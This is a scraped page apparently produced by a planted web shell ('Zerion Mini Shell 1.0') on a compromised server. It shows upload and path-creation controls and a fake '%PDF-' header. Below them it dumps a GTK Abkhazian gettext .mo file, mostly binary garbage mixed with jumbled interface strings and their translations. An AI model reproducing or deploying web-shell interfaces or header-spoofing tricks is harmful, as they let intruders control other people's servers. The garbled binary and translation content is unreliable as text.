%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/gnome-42-2204/176/usr/share/locale/ab/LC_MESSAGES/
Upload File :
Create Path :
Current File : //snap/gnome-42-2204/176/usr/share/locale/ab/LC_MESSAGES/gtk30-properties.mo

��L|e�pq&}����	���
����
	#-5AIRdkr{�	��
��������������

"(19BGV_lqw
~�����	�	�������	"-<P�������($5Z+i����+�

(3Qbq���
�����
   & 5 P c v � � � � � � #� � !!0!
C!N!f!#{!�!�!�!�!�!�!
""!"%"6"J"
W"$b"
�"<�"�"�"�"-8GH;BC'
!$)@
9(L=IFK%",A06*43<1 7?D&:2>E.#+J5	/%s": %s	«%s»: %s
	“%s”	«%s»
	“%s” created successfully	Архив  «%s» лԥхала иаԥҵоуп
	“%s” is not a valid plugin file	«%s»  ииашоу афаил амодуль акәӡам
	“%s” is running in the background	“%s” ақәыԥшылараҟны аус ауеит
	“%s” locations are not supported.	Аҭыӡҭыԥқәа   «%s»  иаднакылом
	“<node/>”	“<node/>”
	“source-id” not available	“source-id” ахь анеира залыршахом
	(	(
	(_G)AWK	(_G)AWK
	('', 'KNYC', nothing)	('', 'UUEE', nothing)
	(%'d	(%'d
	(%s)	(%s)
	(Completed	(Ихырқәшоуп
	(correct spelling)	(ииашаны анҵашьа)
	(deadlock?)	(анибакылара)
	(deadlock?) 	(анибакылара)
	(Deprecated) Proxy authentication password	Аамҭалатәи ахаҭареилкаара аиԥырҟьара
	(Deprecated) Proxy authentication user name	Аамҭалатәи ахаҭареилкаара аиԥырҟьара
	(Due	(Арыцхә азы
	(Empty)	(Иҭацәуп)
	(no subject)	(Темада)
	(No Subject)	(Темада)
	(no suggested words)	( Ишәыдгалоу ажәақәа  ыҟаӡам)
	(Remaining: %d)	(Иаанхеит : %d)
	(unnamed)	(хьӡыда)
	) without opening (	) иаазыртуа ада (
	[ {'name': <'DuckDuckGo'>, 'url': <'https://duckduckgo.com/?q=%s&t=epiphany'>, 'bang': <'!ddg'>}, {'name': <'Google'>, 'url': <'https://www.google.com/search?q=%s'>, 'bang': <'!g'>}, {'name': <'Bing'>, 'url': <'https://www.bing.com/search?q=%s'>, 'bang': <'!b'>} ]	[ {'name': <'DuckDuckGo'>, 'url': <'https://duckduckgo.com/?q=%s&t=epiphany'>, 'bang': <'!ddg'>}, {'name': <'Google'>, 'url': <'https://www.google.com/search?q=%s'>, 'bang': <'!g'>}, {'name': <'Bing'>, 'url': <'https://www.bing.com/search?q=%s'>, 'bang': <'!b'>} ]
	[ {'name': <'DuckDuckGo'>, 'url': <'https://duckduckgo.com/?q=%s&t=epiphany'>, 'bang': <'!ddg'>}, {'name': <'Google'>, 'url': <'https://www.google.com/search?q=%s'>, 'bang': <'!g'>}, {'name': <'Bing'>, 'url': <'https://www.bing.com/search?q=%s'>, 'bang': <'!b'>} ]	[ {'name': <'DuckDuckGo'>, 'url': <'https://duckduckgo.com/?q=%s&t=epiphany'>, 'bang': <'!ddg'>}, {'name': <'Google'>, 'url': <'https://www.google.com/search?q=%s'>, 'bang': <'!g'>}, {'name': <'Bing'>, 'url': <'https://www.bing.com/search?q=%s'>, 'bang': <'!b'>} ]
	[ 'Human', 'Alice', 'Bob', 'Carol', 'Dave', 'Eve' ]	['Ауаҩԥсы' ,  'Алиас', 'Инал', 'Саид', 'Наала', 'Милана' ]
	[-e|-- COMMAND [ARGUMENT...]]	[-e|-- АДҴА [АҴАҴӶӘЫ...]]
	['attachment','attaching','attached','enclosed']	['аттач','аҭаҵа','attachment','attaching','attached','enclosed']
	['UTF-8', 'CURRENT', 'ISO-8859-15', 'UTF-16']	['UTF-8', 'CURRENT', 'ISO-8859-15', 'UTF-16']
	[]	[]
	[%s] Object class '<b>%s</b>' from %s %d.%d is deprecated 	Аобиект акласс '<b>%s</b>' %s %d.%d аҟынтә иажәхьеит
	[%s] Object class '<b>%s</b>' was introduced in %s %d.%d 	[%s] Аобиект акласс '<b>%s</b>' ҭагалан %s %d.%d ахь
	[%s] Packing property '<b>%s</b>' of object class '<b>%s</b>' was introduced in %s %d.%d 	 [%s]«<b>%s</b>» архиара  аҷыдаҟазшьа  «<b>%s</b>» рыкласс иаҵанакуа аобиектқәа ҭагалан %s %d.%d ахь
	[%s] Property '<b>%s</b>' of object class '<b>%s</b>' is deprecated 	[%s] Аҷыдаҟазшьа «<b>%s</b>» аобиект «<b>%s</b>» акласс  ажәит
	[%s] Property '<b>%s</b>' of object class '<b>%s</b>' was introduced in %s %d.%d 	[%s]Аҷыдаҟазшьа «<b>%s</b>» аобиект «<b>%s</b>» акласс  иаҵанакуа ҭагалан %s %d.%d ахь
	[%s] Signal '<b>%s</b>' of object class '<b>%s</b>' is deprecated 	«<b>%s</b>» асигнал   акласс иаҵанакуа аобиект «<b>%s</b>» ажәуп
	[%s] Signal '<b>%s</b>' of object class '<b>%s</b>' was introduced in %s %d.%d 	[%s] «<b>%s</b>» асигнал   акласс иаҵанакуа аобиект «<b>%s</b>»ҭагалан %s %d.%d ахь
	[<biblioentry.label/>]	[<biblioentry.label/>]
	[<citation.label/>]	[<citation.label/>]
	[ARGS…]	[АҴАҴӶӘҚӘА…]
	[FILE…]	ФАИЛ
	[FILE…|URI]	[FILE...|URI]
	[URI…]	[URI…]
	[URI] [URI] …	[URI] [URI] …
	{0}	{0}
	{0}  If you choose to continue, you may not have access to some of your old data.	{0}  Иацышәҵар шәҭахызар, ажәытә дыррақәа ԥыҭк рахь анеира азин шәцәыӡыр шәылшоит.
	{0}  If you choose to continue, you may not have access to some of your old data. 	{0}  Иацышәҵар шәҭахызар, ажәытә дыррақәа ԥыҭк рахь анеира азин шәцәыӡыр шәылшоит. 
	{0} by {1}	{0} аҟны {1}
	@%"Projects@%s--%s is not supported for this dialog ActionActivatableActiveAngleAnimationAreaArtistsAttributesAuthorsBackground colorCenteredCompletionDayDevice nameDirectionDisplayDocumentersEditingEmbeddedEnable AnimationsEventsExpandFilenameFlagsFontFont NameGroupHas SelectionHeightIDImageIndentIndexLabelLanguageLayout styleLicenseLoadingLocationLogoMarkupMenuMonthNamePagePage SetupPopupPositionPrinterResourceRoleSelection modeSettingsShow DetailsSizeStateStatusStrikethroughStyleTabsTextTitleURIUnderlineUnique IDUnitValueVertical AlignmentViewWhether the window is maximizedWindowYearheightReport-Msgid-Bugs-To: 
Last-Translator: Нанба Наала <naala-nanba@rambler.ru>
Language-Team: Abkhazian <daniel.abzakh@gmail.com>
Language: ab
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=2; plural=(n != 1);
_Апроектқәа рныхра--%s ари аиҿцәажәара  иаднакылаӡомАҟаҵараАктивациа ззухоИаҿакупАкәакьАнимациаАҵакыраАнагӡаҩцәаАҟашьарбагақәаАԥҵаҩыАқәыԥшылара аԥштәы:АгәҭалаАвтоматикла ахарҭәаараАмшАиҿартәыра ахьӡАхырхарҭаАдисплеиАдокументқәа раԥҵаҩцәаАредакциа азураИҭаӡуАнимациа аҿакраАхҭысқәаАиҵыхраАфаил ахьӡАбираҟқәаАшрифтАшрифт ахьӡАгәыԥАктивла алкаараАҳаракыраIDАсахьаАхьаҵАхыАхҵараАбызшәаАшрифт _астильАлицензияАҭагалараАҭыӡҭыԥАлоготипАдырганҵаАмениуАмзАхьӡАдаҟьаАдаҟьа ахышәарақәаАрбараАҭагылазаашьаАпринтерАхыҵхырҭаАрольАлхра арежимАрхиарақәаАԥкаарақәа рырбараАшәагаАҵакыраАҭагылазаашьаАҵәаӷәараАстильАгәылаҵақәаАтекстАхыURIИзыҵшьоуИуникалу IDАиҟәшаАҵакыГәҵәыла  аиҟаратәраАԥшраАԥенџьыр ашәагаа иреиҳаӡоу аума?АԥенџьырАшықәсАҳаракыра

Zerion Mini Shell 1.0